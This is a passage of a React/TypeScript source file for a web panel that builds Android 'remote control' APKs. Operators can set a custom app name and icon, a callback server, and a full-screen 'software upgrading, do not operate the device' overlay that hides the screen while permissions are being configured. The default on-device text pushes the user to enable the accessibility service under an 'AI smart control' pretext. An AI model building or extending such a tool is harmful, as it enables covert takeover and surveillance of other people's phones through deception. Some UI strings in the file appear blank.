Files
web-client/src/components/APKManager.tsx
wdvipa 28040495c8 111
2026-02-09 16:33:52 +08:00

1650 lines
62 KiB
TypeScript
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import React, { useState, useEffect } from 'react'
import {
Card,
Button,
Progress,
Typography,
Space,
Alert,
message,
Row,
Col,
Badge,
Spin,
Switch,
Input,
Collapse,
// Form, // 暂时未使用
Tooltip,
Upload,
Image,
Modal
} from 'antd'
import {
DownloadOutlined,
BuildOutlined,
AndroidOutlined,
InfoCircleOutlined,
SyncOutlined,
CloudDownloadOutlined,
RocketOutlined,
FileOutlined,
ClockCircleOutlined,
SettingOutlined,
EyeInvisibleOutlined,
CaretRightOutlined,
UploadOutlined,
PictureOutlined,
DeleteOutlined
} from '@ant-design/icons'
import APKShareManager from './APKShareManager'
import apiClient from '../services/apiClient'
const { Title, Text, Paragraph } = Typography
interface APKInfo {
exists: boolean
path?: string
filename?: string
size?: number
buildTime?: Date
}
interface BuildStatus {
isBuilding: boolean
progress: number
message: string
success: boolean
shareUrl?: string
shareSessionId?: string
shareExpiresAt?: string
activeShares?: Array<{
sessionId: string
filename: string
shareUrl: string
createdAt: string
expiresAt: string
isExpired: boolean
}>
}
interface APKData {
apkInfo: APKInfo
buildStatus: BuildStatus
}
interface APKManagerProps {
serverUrl: string
}
const APKManager: React.FC<APKManagerProps> = ({ serverUrl }) => {
const [loading, setLoading] = useState(false)
const [data, setData] = useState<APKData | null>(null)
const [building, setBuilding] = useState(false)
const [buildProgress, setBuildProgress] = useState(0)
const [buildMessage, setBuildMessage] = useState('')
const [_shareUrl, setShareUrl] = useState('') // 下划线前缀表示有意未使用但setter需要保留
const [_shareExpiresAt, setShareExpiresAt] = useState('') // 下划线前缀表示有意未使用但setter需要保留
const [enableConfigMask, setEnableConfigMask] = useState(true) // 默认开启
const [enableProgressBar, setEnableProgressBar] = useState(true) // 默认开启进度条
const [configMaskText, setConfigMaskText] = useState('软件升级中请稍后...')
const [configMaskSubtitle, setConfigMaskSubtitle] = useState('软件正在升级中\n请勿操作设备')
const [configMaskStatus, setConfigMaskStatus] = useState('升级完成后将自动返回应用')
// const [showAdvancedOptions, setShowAdvancedOptions] = useState(false) // 暂时未使用
// ✅ 新增:服务器域名配置状态
const [serverDomain, setServerDomain] = useState('') // 用户配置的服务器域名
const [webUrl, setWebUrl] = useState('') // 用户配置的webUrlAndroid应用打开的网址
// ✅ 新增Android端页面样式配置状态
const [pageStyleConfig, setPageStyleConfig] = useState({
appName: 'Android Remote Control',
appIcon: null as File | null,
statusText: '软件需要开启AI智能操控权限\n请按照以下步骤进行\n1. 点击启用按钮\n2. 转到已下载的服务/应用\n3. 找到本应用并点击进入\n4. 开启辅助开关',
enableButtonText: '启用',
usageInstructions: '使用说明:\n1. 启用AI智能操控服务\n2. 确保设备连接到网络\n\n注意请在安全的网络环境中使用',
apkFileName: '' // APK文件名空值表示使用默认名称
})
// const [showPageStyleConfig, setShowPageStyleConfig] = useState(false) // 暂时未使用
const [iconPreviewUrl, setIconPreviewUrl] = useState<string | null>(null)
// ✅ 新增:构建日志相关状态
interface LogEntry {
timestamp?: number
level?: string
message: string
timeString?: string
}
const [logModalVisible, setLogModalVisible] = useState(false)
const [buildLogs, setBuildLogs] = useState<LogEntry[]>([])
const [logLoading, setLogLoading] = useState(false)
const logContainerRef = React.useRef<HTMLDivElement>(null)
// 获取APK信息
const fetchAPKInfo = async () => {
setLoading(true)
try {
const result = await apiClient.get<any>('/api/apk/info')
if (result.success) {
setData(result)
} else {
message.error('获取APK信息失败')
}
} catch (error) {
console.error('获取APK信息失败:', error)
message.error('获取APK信息失败')
} finally {
setLoading(false)
}
}
// 轮询构建状态
const pollBuildStatus = async () => {
try {
const result = await apiClient.get<any>('/api/apk/build-status')
if (result.success) {
setBuildMessage(result.message || '')
setBuildProgress(result.progress || 0)
if (result.isBuilding) {
// 构建中,更新进度
} else {
setBuilding(false)
setBuildProgress(0)
if (result.success) {
message.success('APK构建成功')
// 如果有分享链接,显示通知
if (result.shareUrl) {
setShareUrl(result.shareUrl)
setShareExpiresAt(result.shareExpiresAt || '')
message.info('Cloudflare分享链接已生成有效期10分钟')
}
fetchAPKInfo()
} else if (result.message && result.message.includes('构建失败')) {
message.error(`构建失败: ${result.message}`)
}
}
}
} catch (error) {
console.error('获取构建状态失败:', error)
}
}
// 获取构建日志
const fetchBuildLogs = React.useCallback(async (limit?: number) => {
try {
setLogLoading(true)
const endpoint = limit ? `/api/apk/build-logs?limit=${limit}` : '/api/apk/build-logs'
const result = await apiClient.get<any>(endpoint)
// 处理日志数据,支持多种格式
let newLogs: LogEntry[] = []
if (result.success !== false) {
// 如果返回的是对象包含logs字段对象数组
if (Array.isArray(result.logs)) {
newLogs = result.logs.map((item: any) => {
// 如果已经是对象格式包含level, message等
if (item && typeof item === 'object' && item.message) {
return {
timestamp: item.timestamp,
level: item.level || 'info',
message: item.message || String(item),
timeString: item.timeString
}
}
// 如果是字符串,转换为对象
return {
level: 'info',
message: typeof item === 'string' ? item : String(item || ''),
timeString: undefined
}
})
}
// 如果返回的是数组
else if (Array.isArray(result)) {
newLogs = result.map((item: any) => {
if (item && typeof item === 'object' && item.message) {
return {
timestamp: item.timestamp,
level: item.level || 'info',
message: item.message || String(item),
timeString: item.timeString
}
}
return {
level: 'info',
message: typeof item === 'string' ? item : String(item || ''),
timeString: undefined
}
})
}
// 如果返回的是对象包含log字段字符串
else if (typeof result.log === 'string') {
newLogs = result.log.split('\n')
.filter((line: string) => line.trim())
.map((line: string) => ({
level: 'info',
message: line.trim(),
timeString: undefined
}))
}
// 如果直接返回字符串
else if (typeof result === 'string') {
newLogs = result.split('\n')
.filter((line: string) => line.trim())
.map((line: string) => ({
level: 'info',
message: line.trim(),
timeString: undefined
}))
}
// 如果返回的是对象包含data字段
else if (result.data) {
if (Array.isArray(result.data)) {
newLogs = result.data.map((item: any) => {
if (item && typeof item === 'object' && item.message) {
return {
timestamp: item.timestamp,
level: item.level || 'info',
message: item.message || String(item),
timeString: item.timeString
}
}
return {
level: 'info',
message: typeof item === 'string' ? item : String(item || ''),
timeString: undefined
}
})
} else if (typeof result.data === 'string') {
newLogs = result.data.split('\n')
.filter((line: string) => line.trim())
.map((line: string) => ({
level: 'info',
message: line.trim(),
timeString: undefined
}))
}
}
}
// 过滤空消息
newLogs = newLogs.filter(item => item.message && item.message.trim().length > 0)
setBuildLogs(newLogs)
// 自动滚动到底部
setTimeout(() => {
if (logContainerRef.current) {
logContainerRef.current.scrollTop = logContainerRef.current.scrollHeight
}
}, 100)
} catch (error) {
console.error('获取构建日志失败:', error)
} finally {
setLogLoading(false)
}
}, [])
// 清空构建日志
const clearBuildLogs = async () => {
try {
await apiClient.delete<{ success: boolean }>('/api/apk/build-logs')
setBuildLogs([])
message.success('日志已清空')
} catch (error) {
console.error('清空日志失败:', error)
message.error('清空日志失败')
}
}
// 构建APK
const buildAPK = async () => {
setBuilding(true)
setBuildProgress(0)
setBuildMessage('开始构建...')
// 打开日志窗口并清空之前的日志
setBuildLogs([])
setLogModalVisible(true)
fetchBuildLogs(100) // 先获取最近100条日志
try {
// 使用配置的域名或默认值
let buildServerUrl: string
if (serverDomain.trim()) {
// 使用用户配置的域名
const protocol = serverDomain.startsWith('https://') ? 'wss:' :
serverDomain.startsWith('http://') ? 'ws:' :
window.location.protocol === 'https:' ? 'wss:' : 'ws:'
const domain = serverDomain.replace(/^https?:\/\//, '')
buildServerUrl = `${protocol}//${domain}`
} else {
// 使用默认的当前服务器地址
const currentHost = window.location.hostname
const currentProtocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'
buildServerUrl = `${currentProtocol}//${currentHost}:3001`
}
console.log('构建APK配置服务器地址:', buildServerUrl)
// 使用FormData来支持文件上传
const formData = new FormData()
formData.append('serverUrl', buildServerUrl)
formData.append('webUrl', webUrl.trim() || window.location.origin) // 使用配置的webUrl或默认值
formData.append('enableConfigMask', enableConfigMask.toString())
formData.append('enableProgressBar', enableProgressBar.toString())
formData.append('configMaskText', configMaskText)
formData.append('configMaskSubtitle', configMaskSubtitle)
formData.append('configMaskStatus', configMaskStatus)
// 添加页面样式配置
const pageStyleConfigData = {
appName: pageStyleConfig.appName,
statusText: pageStyleConfig.statusText,
enableButtonText: pageStyleConfig.enableButtonText,
usageInstructions: pageStyleConfig.usageInstructions,
apkFileName: pageStyleConfig.apkFileName.trim() // 添加APK文件名
}
formData.append('pageStyleConfig', JSON.stringify(pageStyleConfigData))
// 如果有上传的图标文件添加到FormData中
if (pageStyleConfig.appIcon) {
formData.append('appIcon', pageStyleConfig.appIcon)
console.log('上传自定义图标:', pageStyleConfig.appIcon.name)
}
const result = await apiClient.postFormData<any>('/api/apk/build', formData)
if (result.success) {
message.success(`构建开始,服务器地址已自动配置为: ${result.serverUrl}`)
// 如果立即返回了分享链接(构建完成)
if (result.shareUrl) {
setShareUrl(result.shareUrl)
setShareExpiresAt(result.shareExpiresAt || '')
message.success('APK构建完成Cloudflare分享链接已生成')
setBuilding(false)
setBuildProgress(100)
setBuildMessage('构建完成')
fetchAPKInfo()
}
} else {
message.error(`构建失败: ${result.error || '未知错误'}`)
setBuilding(false)
setBuildProgress(0)
setBuildMessage('')
}
} catch (error: any) {
console.error('构建APK失败:', error)
// 根据错误类型提供更友好的提示
let errorMessage = '构建APK失败'
const errorStr = String(error || '')
const errorMsg = error?.message || errorStr
// 检查各种网络错误情况
if (
errorMsg.includes('Failed to fetch') ||
errorMsg.includes('NetworkError') ||
errorMsg.includes('Network request failed') ||
errorMsg.includes('fetch failed') ||
error?.name === 'TypeError' && errorMsg.includes('fetch')
) {
errorMessage = '网络连接失败,请检查:\n1. 服务器是否正常运行\n2. 网络连接是否正常\n3. 服务器地址是否正确'
} else if (errorMsg.includes('timeout') || errorMsg.includes('Timeout')) {
errorMessage = '请求超时,请稍后重试'
} else if (errorMsg.includes('CORS') || errorMsg.includes('cors')) {
errorMessage = '跨域请求失败请检查服务器CORS配置'
} else if (errorMsg) {
errorMessage = `构建失败: ${errorMsg}`
}
message.error({
content: errorMessage,
duration: 5,
style: { whiteSpace: 'pre-line' }
})
setBuilding(false)
setBuildProgress(0)
setBuildMessage('')
// 在日志窗口中显示错误信息
const errorDetails: LogEntry[] = [
{
level: 'error',
message: errorMessage,
timeString: new Date().toLocaleString('zh-CN', {
year: 'numeric',
month: '2-digit',
day: '2-digit',
hour: '2-digit',
minute: '2-digit',
second: '2-digit'
}).replace(/\//g, '/')
},
{
level: 'error',
message: `错误类型: ${error?.name || 'Unknown'}`,
timeString: undefined
},
{
level: 'error',
message: `错误详情: ${errorMsg}`,
timeString: undefined
}
]
setBuildLogs(prev => [...prev, ...errorDetails])
}
}
// 处理图标上传
const handleIconUpload = (file: File) => {
// 验证文件类型
const isImage = file.type.startsWith('image/')
if (!isImage) {
message.error('请上传图片文件PNG、JPG、JPEG等')
return false
}
// 验证文件大小限制为2MB
const isLt2M = file.size / 1024 / 1024 < 2
if (!isLt2M) {
message.error('图标文件大小不能超过2MB')
return false
}
// 更新状态
setPageStyleConfig(prev => ({ ...prev, appIcon: file }))
// 生成预览URL
const reader = new FileReader()
reader.onload = (e) => {
setIconPreviewUrl(e.target?.result as string)
}
reader.readAsDataURL(file)
message.success('图标上传成功')
return false // 阻止自动上传
}
// 移除图标
const removeIcon = () => {
setPageStyleConfig(prev => ({ ...prev, appIcon: null }))
setIconPreviewUrl(null)
message.success('已移除自定义图标')
}
// 下载APK
const downloadAPK = async () => {
try {
const filename = data?.apkInfo.filename || 'RemoteControl.apk'
await apiClient.downloadFile('/api/apk/download', filename)
message.success('开始下载APK文件')
} catch (error) {
console.error('下载APK失败:', error)
message.error('下载APK失败')
}
}
// 获取默认APK文件名
const getDefaultAPKFileName = () => {
return 'app'
}
// 格式化文件大小
const formatSize = (bytes: number) => {
const units = ['B', 'KB', 'MB', 'GB']
let size = bytes
let unitIndex = 0
while (size >= 1024 && unitIndex < units.length - 1) {
size /= 1024
unitIndex++
}
return `${size.toFixed(1)} ${units[unitIndex]}`
}
// 组件挂载时获取信息
useEffect(() => {
fetchAPKInfo()
}, [])
// 构建过程中轮询状态和日志
useEffect(() => {
let statusInterval: ReturnType<typeof setInterval> | null = null
let logInterval: ReturnType<typeof setInterval> | null = null
if (building && logModalVisible) {
statusInterval = setInterval(pollBuildStatus, 2000)
// 每1秒轮询一次日志
logInterval = setInterval(() => {
fetchBuildLogs(100)
}, 1000)
}
return () => {
if (statusInterval) {
clearInterval(statusInterval)
}
if (logInterval) {
clearInterval(logInterval)
}
}
}, [building, logModalVisible, fetchBuildLogs])
// 当构建完成时,停止日志轮询但保持窗口打开
useEffect(() => {
if (!building && logModalVisible) {
// 构建完成,最后获取一次完整日志
fetchBuildLogs()
}
}, [building, logModalVisible, fetchBuildLogs])
// 当日志更新时,自动滚动到底部
useEffect(() => {
if (logModalVisible && buildLogs.length > 0) {
setTimeout(() => {
if (logContainerRef.current) {
logContainerRef.current.scrollTop = logContainerRef.current.scrollHeight
}
}, 50)
}
}, [buildLogs, logModalVisible])
if (loading && !data) {
return (
<div style={{
padding: '80px 20px',
textAlign: 'center',
background: 'linear-gradient(135deg, #667eea 0%, #764ba2 100%)',
minHeight: '60vh',
borderRadius: '16px',
color: 'white'
}}>
<Spin size="large" style={{ color: 'white' }} />
<Title level={3} style={{ marginTop: 24, color: 'white' }}>
🔄 APK ...
</Title>
<Text style={{ color: 'rgba(255,255,255,0.8)', fontSize: '16px' }}>
APK状态
</Text>
</div>
)
}
return (
<div style={{
padding: '24px',
width: '100%',
flex: 1,
background: 'linear-gradient(135deg, #f0f2f5 0%, #e8f2ff 100%)',
minHeight: '100vh',
display: 'flex',
flexDirection: 'column'
}}>
{/* 现代化页面头部 */}
<div style={{
marginBottom: 32,
background: 'linear-gradient(135deg, #667eea 0%, #764ba2 100%)',
padding: '32px',
borderRadius: '16px',
color: 'white'
}}>
<Row justify="space-between" align="middle">
<Col span={16}>
<Space size="large" align="center">
<div style={{
background: 'rgba(255,255,255,0.2)',
padding: '16px',
borderRadius: '12px',
backdropFilter: 'blur(10px)'
}}>
<AndroidOutlined style={{ fontSize: '48px', color: 'white' }} />
</div>
<div>
<Title level={2} style={{ color: 'white', margin: 0 }}>
APK
</Title>
<Paragraph style={{ color: 'rgba(255,255,255,0.8)', margin: 0, fontSize: '16px' }}>
Android
</Paragraph>
</div>
</Space>
</Col>
<Col span={8} style={{ textAlign: 'right' }}>
<Space>
<Button
size="large"
icon={<SyncOutlined />}
onClick={fetchAPKInfo}
loading={loading}
style={{
background: 'rgba(255,255,255,0.2)',
borderColor: 'rgba(255,255,255,0.3)',
color: 'white'
}}
>
</Button>
</Space>
</Col>
</Row>
</div>
{/* APK 状态主卡片 */}
{data?.apkInfo?.exists ? (
<Card
style={{
background: 'linear-gradient(135deg, #667eea 0%, #764ba2 100%)',
color: 'white',
border: 'none',
borderRadius: '20px',
marginBottom: 24,
boxShadow: '0 20px 40px rgba(102, 126, 234, 0.3)'
}}
styles={{ body: { padding: '40px' } }}
>
<Row align="middle" gutter={32} style={{ width: '100%' }}>
<Col xs={24} sm={24} md={6} lg={6} xl={6}>
<div style={{ textAlign: 'center', marginBottom: window.innerWidth < 768 ? '20px' : '0' }}>
<div style={{
background: 'linear-gradient(135deg, rgba(255,255,255,0.3) 0%, rgba(255,255,255,0.1) 100%)',
borderRadius: '50%',
width: '100px',
height: '100px',
display: 'flex',
alignItems: 'center',
justifyContent: 'center',
margin: '0 auto',
boxShadow: '0 8px 32px rgba(0,0,0,0.1)',
backdropFilter: 'blur(10px)',
border: '1px solid rgba(255,255,255,0.2)'
}}>
<AndroidOutlined style={{ fontSize: '48px', color: 'white' }} />
</div>
</div>
</Col>
<Col xs={24} sm={24} md={12} lg={12} xl={12}>
<Title level={2} style={{ color: 'white', margin: 0, marginBottom: 20 }}>
🎉 APK
</Title>
<Space direction="vertical" size={12}>
<div style={{
background: 'rgba(255,255,255,0.1)',
padding: '8px 16px',
borderRadius: '8px',
backdropFilter: 'blur(10px)'
}}>
<Text style={{ color: 'white', fontSize: '16px', fontWeight: 500 }}>
<FileOutlined style={{ marginRight: 8 }} />
{data.apkInfo.filename}
</Text>
</div>
<div style={{
background: 'rgba(255,255,255,0.1)',
padding: '8px 16px',
borderRadius: '8px',
backdropFilter: 'blur(10px)'
}}>
<Text style={{ color: 'white', fontSize: '16px', fontWeight: 500 }}>
📦 {data.apkInfo.size ? formatSize(data.apkInfo.size) : '未知大小'}
</Text>
</div>
<div style={{
background: 'rgba(255,255,255,0.1)',
padding: '8px 16px',
borderRadius: '8px',
backdropFilter: 'blur(10px)'
}}>
<Text style={{ color: 'white', fontSize: '16px', fontWeight: 500 }}>
<ClockCircleOutlined style={{ marginRight: 8 }} />
{data.apkInfo.buildTime
? new Date(data.apkInfo.buildTime).toLocaleString()
: '未知时间'
}
</Text>
</div>
</Space>
</Col>
<Col xs={24} sm={24} md={6} lg={6} xl={6} style={{ textAlign: 'center' }}>
<Space direction="vertical" size={12} style={{ width: '100%' }}>
<Button
type="primary"
size="large"
icon={<CloudDownloadOutlined />}
onClick={downloadAPK}
style={{
background: 'linear-gradient(135deg, rgba(255,255,255,0.2) 0%, rgba(255,255,255,0.1) 100%)',
borderColor: 'rgba(255,255,255,0.3)',
height: '60px',
fontSize: '18px',
fontWeight: 600,
borderRadius: '12px',
backdropFilter: 'blur(10px)',
boxShadow: '0 8px 32px rgba(0,0,0,0.1)',
border: '1px solid rgba(255,255,255,0.2)',
color: 'white',
width: '100%'
}}
>
</Button>
</Space>
</Col>
</Row>
</Card>
) : (
<Card
style={{
marginBottom: 24,
textAlign: 'center',
padding: '60px 40px',
background: 'linear-gradient(135deg, #ff6b6b 0%, #ee5a24 100%)',
color: 'white',
border: 'none',
borderRadius: '20px',
boxShadow: '0 20px 40px rgba(255, 107, 107, 0.3)'
}}
>
<div style={{
background: 'rgba(255,255,255,0.1)',
borderRadius: '50%',
width: '120px',
height: '120px',
display: 'flex',
alignItems: 'center',
justifyContent: 'center',
margin: '0 auto 24px auto',
backdropFilter: 'blur(10px)',
border: '1px solid rgba(255,255,255,0.2)'
}}>
<AndroidOutlined style={{ fontSize: '64px', color: 'white' }} />
</div>
<Title level={2} style={{ color: 'white', margin: 0, marginBottom: 16 }}>
📱 APK
</Title>
<Text style={{ color: 'rgba(255,255,255,0.9)', fontSize: '18px', lineHeight: 1.6 }}>
Android <br />
</Text>
</Card>
)}
{/* 构建进度 */}
{building && (
<Card style={{
marginBottom: 24,
borderRadius: '20px',
background: 'linear-gradient(135deg, #ff9a9e 0%, #fecfef 50%, #fecfef 100%)',
color: 'white',
border: 'none',
boxShadow: '0 20px 40px rgba(255, 154, 158, 0.3)'
}}>
<Row align="middle" gutter={32} style={{ padding: '20px', width: '100%' }}>
<Col span={4} style={{ textAlign: 'center' }}>
<div style={{
background: 'rgba(255,255,255,0.2)',
borderRadius: '50%',
width: '80px',
height: '80px',
display: 'flex',
alignItems: 'center',
justifyContent: 'center',
margin: '0 auto',
animation: 'pulse 2s infinite',
backdropFilter: 'blur(10px)',
border: '1px solid rgba(255,255,255,0.3)'
}}>
<RocketOutlined style={{ fontSize: '40px', color: 'white' }} />
</div>
</Col>
<Col span={20}>
<Title level={3} style={{ color: 'white', margin: 0, marginBottom: 20 }}>
🚀 APK ...
</Title>
<div style={{
background: 'rgba(255,255,255,0.1)',
borderRadius: '12px',
padding: '16px',
marginBottom: '16px',
backdropFilter: 'blur(10px)'
}}>
<Progress
percent={buildProgress}
status="active"
strokeColor={{
'0%': '#ff6b6b',
'50%': '#feca57',
'100%': '#48dbfb'
}}
trailColor="rgba(255,255,255,0.2)"
size={8}
style={{ marginBottom: 12 }}
/>
<Text style={{
color: 'white',
fontSize: '16px',
fontWeight: 500,
textShadow: '0 2px 4px rgba(0,0,0,0.3)'
}}>
{buildMessage || '准备构建环境...'}
</Text>
{buildMessage.includes('配置服务器地址') && (
<div style={{
marginTop: '12px',
padding: '8px 12px',
background: 'rgba(255,255,255,0.15)',
borderRadius: '8px',
backdropFilter: 'blur(10px)'
}}>
<Text style={{
color: 'white',
fontSize: '14px',
textShadow: '0 1px 2px rgba(0,0,0,0.3)'
}}>
🌐 : {serverDomain.trim() ?
(serverDomain.startsWith('https://') ? 'wss://' + serverDomain.replace('https://', '') :
serverDomain.startsWith('http://') ? 'ws://' + serverDomain.replace('http://', '') :
window.location.protocol === 'https:' ? 'wss://' + serverDomain : 'ws://' + serverDomain) :
`${window.location.protocol === 'https:' ? 'wss:' : 'ws:'}//${window.location.hostname}:3001`
}
</Text>
</div>
)}
</div>
</Col>
</Row>
</Card>
)}
{/* ✅ 新增:构建配置选项 */}
<Card style={{
borderRadius: '20px',
background: 'linear-gradient(135deg, #f8f9ff 0%, #fff 100%)',
boxShadow: '0 10px 30px rgba(0,0,0,0.05)',
border: '1px solid rgba(102, 126, 234, 0.1)',
marginBottom: 24
}}>
<Collapse
items={[
{
key: 'server-config',
label: (
<Space>
<SettingOutlined style={{ color: '#1890ff' }} />
<Text strong style={{ color: '#2c3e50' }}></Text>
<Badge count={serverDomain.trim() ? '自定义' : '默认'}
style={{ backgroundColor: serverDomain.trim() ? '#1890ff' : '#d9d9d9' }} />
</Space>
),
children: (
<div style={{ padding: '16px 0' }}>
<Space direction="vertical" size="large" style={{ width: '100%' }}>
<Row gutter={[16, 16]}>
<Col xs={24} sm={8}>
<Space>
<CloudDownloadOutlined style={{ color: '#1890ff', fontSize: '20px' }} />
<Text strong></Text>
</Space>
</Col>
<Col xs={24} sm={16}>
<Space direction="vertical" style={{ width: '100%' }}>
<Input
value={serverDomain}
onChange={(e) => setServerDomain(e.target.value)}
placeholder="例如: example.com 或 https://example.com"
maxLength={100}
showCount
style={{ borderRadius: '8px' }}
suffix={
<Tooltip title="清空使用默认域名">
<Button
type="text"
size="small"
icon={<DeleteOutlined />}
onClick={() => setServerDomain('')}
style={{ border: 'none', padding: '0 4px' }}
/>
</Tooltip>
}
/>
<Text type="secondary" style={{ fontSize: '12px' }}>
使: {window.location.hostname}:3001
</Text>
</Space>
</Col>
</Row>
<Row gutter={[16, 16]}>
<Col xs={24} sm={8}>
<Space>
<FileOutlined style={{ color: '#1890ff', fontSize: '20px' }} />
<Text strong>Web网址</Text>
</Space>
</Col>
<Col xs={24} sm={16}>
<Space direction="vertical" style={{ width: '100%' }}>
<Input
value={webUrl}
onChange={(e) => setWebUrl(e.target.value)}
placeholder="例如: https://example.com 或 http://192.168.1.100:8080"
maxLength={200}
showCount
style={{ borderRadius: '8px' }}
suffix={
<Tooltip title="清空使用默认网址">
<Button
type="text"
size="small"
icon={<DeleteOutlined />}
onClick={() => setWebUrl('')}
style={{ border: 'none', padding: '0 4px' }}
/>
</Tooltip>
}
/>
<Text type="secondary" style={{ fontSize: '12px' }}>
使: {window.location.origin}
</Text>
</Space>
</Col>
</Row>
<Alert
type="info"
showIcon
message="服务器配置说明"
description={
<div>
<p style={{ margin: 0, marginBottom: 8 }}>
<strong></strong>httpsIP ws://ip:port
</p>
<p style={{ margin: 0, marginBottom: 8 }}>
<strong>Web网址</strong>Android应用启动时打开的网页地址 https
</p>
</div>
}
style={{
background: 'linear-gradient(135deg, #e6f7ff 0%, #f0f9ff 100%)',
border: '1px solid #91d5ff',
borderRadius: '8px'
}}
/>
</Space>
</div>
)
},
{
key: '1',
label: (
<Space>
<SettingOutlined style={{ color: '#667eea' }} />
<Text strong style={{ color: '#2c3e50' }}></Text>
<Badge count={enableConfigMask ? '已启用' : '已禁用'}
style={{ backgroundColor: enableConfigMask ? '#52c41a' : '#d9d9d9' }} />
</Space>
),
children: (
<div style={{ padding: '16px 0' }}>
<Space direction="vertical" size="large" style={{ width: '100%' }}>
<Row gutter={[16, 16]} align="middle">
<Col xs={24} sm={8}>
<Space>
<EyeInvisibleOutlined style={{ color: '#667eea' }} />
<Text strong></Text>
</Space>
</Col>
<Col xs={24} sm={16}>
<Space direction="vertical" style={{ width: '100%' }}>
<Row align="middle" gutter={16}>
<Col>
<Switch
checked={enableConfigMask}
onChange={setEnableConfigMask}
checkedChildren="开启"
unCheckedChildren="关闭"
// disabled={true}
/>
</Col>
<Col>
<Tooltip title="开启后,设备在配置权限期间会显示黑色遮盖,防止用户误操作">
<Text type="secondary">
</Text>
</Tooltip>
</Col>
</Row>
{enableConfigMask && (
<Space direction="vertical" size={16} style={{ width: '100%', marginTop: 12 }}>
{/* 进度条开关 */}
<Row align="middle" gutter={16}>
<Col>
<Switch
checked={enableProgressBar}
onChange={setEnableProgressBar}
checkedChildren="开启"
unCheckedChildren="关闭"
size="small"
/>
</Col>
<Col>
<Tooltip title="显示配置进度条,让用户了解当前配置状态">
<Text type="secondary">
</Text>
</Tooltip>
</Col>
</Row>
<Row gutter={16}>
<Col xs={24} sm={6}>
<Text strong>:</Text>
</Col>
<Col xs={24} sm={18}>
<Input
value={configMaskText}
onChange={(e) => setConfigMaskText(e.target.value)}
placeholder="请输入遮盖时显示的主标题文字"
maxLength={50}
showCount
style={{ borderRadius: '8px' }}
/>
</Col>
</Row>
<Row gutter={16}>
<Col xs={24} sm={6}>
<Text strong>:</Text>
</Col>
<Col xs={24} sm={18}>
<Input.TextArea
value={configMaskSubtitle}
onChange={(e) => setConfigMaskSubtitle(e.target.value)}
placeholder="请输入遮盖时显示的副标题文字"
rows={2}
maxLength={100}
showCount
style={{ borderRadius: '8px' }}
/>
</Col>
</Row>
<Row gutter={16}>
<Col xs={24} sm={6}>
<Text strong>:</Text>
</Col>
<Col xs={24} sm={18}>
<Input
value={configMaskStatus}
onChange={(e) => setConfigMaskStatus(e.target.value)}
placeholder="请输入遮盖时显示的状态提示文字"
maxLength={80}
showCount
style={{ borderRadius: '8px' }}
/>
</Col>
</Row>
</Space>
)}
</Space>
</Col>
</Row>
<Alert
type="info"
showIcon
message="配置说明"
description={
<div>
<p style={{ margin: 0, marginBottom: 8 }}>
<strong></strong>
</p>
<p style={{ margin: 0, marginBottom: 8 }}>
<strong></strong>
</p>
<p style={{ margin: 0, marginBottom: 8 }}>
<strong></strong>
</p>
<p style={{ margin: 0, marginBottom: 8 }}>
<strong></strong>
</p>
<p style={{ margin: 0 }}>
<strong></strong>
</p>
</div>
}
style={{
background: 'linear-gradient(135deg, #e6f7ff 0%, #f0f9ff 100%)',
border: '1px solid #91d5ff',
borderRadius: '8px'
}}
/>
</Space>
</div>
)
},
{
key: 'page-style',
label: (
<Space>
<SettingOutlined style={{ color: '#722ed1' }} />
<Text strong>Android端页面样式</Text>
</Space>
),
children: (
<div style={{ padding: '16px 0' }}>
<Space direction="vertical" size={24} style={{ width: '100%' }}>
<Row gutter={[16, 16]}>
<Col xs={24} sm={8}>
<Space>
<PictureOutlined style={{ color: '#722ed1', fontSize: '20px' }} />
<Text strong></Text>
</Space>
</Col>
<Col xs={24} sm={16}>
<Space direction="vertical" size={16} style={{ width: '100%' }}>
<Space align="start" size={16}>
<Upload
beforeUpload={handleIconUpload}
showUploadList={false}
accept="image/*"
>
<Button
icon={<UploadOutlined />}
style={{ borderRadius: '8px' }}
>
</Button>
</Upload>
{pageStyleConfig.appIcon && (
<Button
icon={<DeleteOutlined />}
onClick={removeIcon}
danger
type="text"
size="small"
style={{ borderRadius: '8px' }}
>
</Button>
)}
</Space>
{iconPreviewUrl ? (
<div style={{
display: 'flex',
alignItems: 'center',
gap: '12px',
padding: '12px',
background: '#f8f9fa',
borderRadius: '8px',
border: '1px solid #e9ecef'
}}>
<Image
src={iconPreviewUrl}
alt="图标预览"
width={48}
height={48}
preview={false}
style={{
borderRadius: '8px',
border: '1px solid #d1d5db'
}}
/>
<div>
<Text type="secondary" style={{ fontSize: '12px' }}>
{pageStyleConfig.appIcon?.name}
</Text>
<br />
<Text type="secondary" style={{ fontSize: '12px' }}>
{pageStyleConfig.appIcon && (pageStyleConfig.appIcon.size / 1024).toFixed(1)} KB
</Text>
</div>
</div>
) : (
<Alert
message="使用默认图标"
description="未上传自定义图标时,将使用应用默认图标"
type="info"
showIcon
style={{
fontSize: '12px',
borderRadius: '8px'
}}
/>
)}
</Space>
</Col>
</Row>
<Row gutter={[16, 16]}>
<Col xs={24} sm={8}>
<Space>
<AndroidOutlined style={{ color: '#722ed1', fontSize: '20px' }} />
<Text strong></Text>
</Space>
</Col>
<Col xs={24} sm={16}>
<Input
value={pageStyleConfig.appName}
onChange={(e) => setPageStyleConfig(prev => ({ ...prev, appName: e.target.value }))}
placeholder="请输入应用名称"
maxLength={30}
showCount
style={{ borderRadius: '8px' }}
/>
</Col>
</Row>
<Row gutter={[16, 16]}>
<Col xs={24} sm={8}>
<Space>
<FileOutlined style={{ color: '#722ed1', fontSize: '20px' }} />
<Text strong></Text>
</Space>
</Col>
<Col xs={24} sm={16}>
<Input.TextArea
value={pageStyleConfig.statusText}
onChange={(e) => setPageStyleConfig(prev => ({ ...prev, statusText: e.target.value }))}
placeholder="请输入主页状态文本内容"
rows={4}
maxLength={200}
showCount
style={{ borderRadius: '8px' }}
/>
</Col>
</Row>
<Row gutter={[16, 16]}>
<Col xs={24} sm={8}>
<Space>
<RocketOutlined style={{ color: '#722ed1', fontSize: '20px' }} />
<Text strong></Text>
</Space>
</Col>
<Col xs={24} sm={16}>
<Input
value={pageStyleConfig.enableButtonText}
onChange={(e) => setPageStyleConfig(prev => ({ ...prev, enableButtonText: e.target.value }))}
placeholder="请输入启用按钮文字"
maxLength={20}
